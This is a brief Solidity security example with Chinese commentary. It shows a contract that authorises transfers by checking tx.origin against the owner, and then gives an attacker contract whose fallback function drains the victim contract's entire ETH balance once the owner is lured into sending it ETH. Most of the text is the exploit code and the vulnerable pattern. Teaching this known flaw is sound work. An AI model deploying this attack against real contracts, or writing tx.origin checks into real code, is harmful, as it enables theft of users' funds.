contract unpayable{
address public owner;
constructor ()public{
owner=msg.sender;
}
function transfer(address payable _to,uint _amount)public{
require(tx.origin==owner);
payable(_to).transfer(_amount);
}
fallback() external payable{
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
假设a部署了合约unpayable合约,并且向合约中存入eth通过诱导a给attack合约地址发送eth,可以使unpayable合约内的eth全部发送到attacker。
下面是利用代码:
contract Attack{
address public unpaybal;
unpayable public unp;
address public owner;
constructor (unpayable _unp)public{
unp=unpayable(_unp) ;
owner=msg.sender;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
fallback() external payable{
unp.transfer(payable(owner),address(unp).balance);
}